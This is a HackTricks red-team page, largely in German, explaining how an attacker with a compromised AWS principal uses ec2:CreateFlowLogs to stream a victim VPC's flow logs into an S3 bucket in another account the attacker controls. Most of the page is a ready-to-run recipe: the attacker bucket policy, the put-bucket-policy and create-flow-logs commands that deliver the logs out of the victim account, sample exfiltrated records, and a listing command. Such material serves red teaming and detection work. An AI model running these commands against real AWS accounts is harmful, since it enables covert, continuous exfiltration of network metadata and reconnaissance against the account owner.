AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Summary

Missbrauch von ec2:CreateFlowLogs, um VPC-, Subnetz- oder ENI-Flow-Logs direkt in einen vom attacker kontrollierten S3-Bucket zu exportieren. Sobald die delivery role so konfiguriert ist, dass sie in den externen Bucket schreiben kann, werden alle Verbindungen, die auf der überwachten Ressource gesehen werden, aus dem victim account gestreamt.

Requirements

  • Victim principal: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, and iam:PassRole (if a delivery role is required/created).
  • Attacker bucket: S3 policy that trusts delivery.logs.amazonaws.com with s3:PutObject and bucket-owner-full-control.
  • Optional: logs:DescribeLogGroups if exporting to CloudWatch instead of S3 (not needed here).

Attack Walkthrough

  1. Attacker bereitet eine S3-Bucket-Policy vor (im attacker account), die dem VPC Flow Logs delivery service erlaubt, Objekte zu schreiben. Ersetze Platzhalter bevor du sie anwendest:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Vom attacker account aus anwenden:

bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) erstellt die flow logs, die auf den attacker bucket abzielen:
bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

Innerhalb von Minuten erscheinen flow log files im attacker bucket, die Verbindungen für alle ENIs im überwachten VPC/subnet enthalten.

Nachweis

Beispielhafte flow log records, die in den attacker bucket geschrieben wurden:

text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Beweis für Bucket listing:

bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Auswirkungen

  • Kontinuierliche network metadata exfiltration (source/destination IPs, ports, protocols) für das überwachte VPC/subnet/ENI.
  • Ermöglicht Traffic-Analyse, Identifizierung sensibler Dienste und potenzielles Hunting nach security group misconfigurations von außerhalb des Opferkontos.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks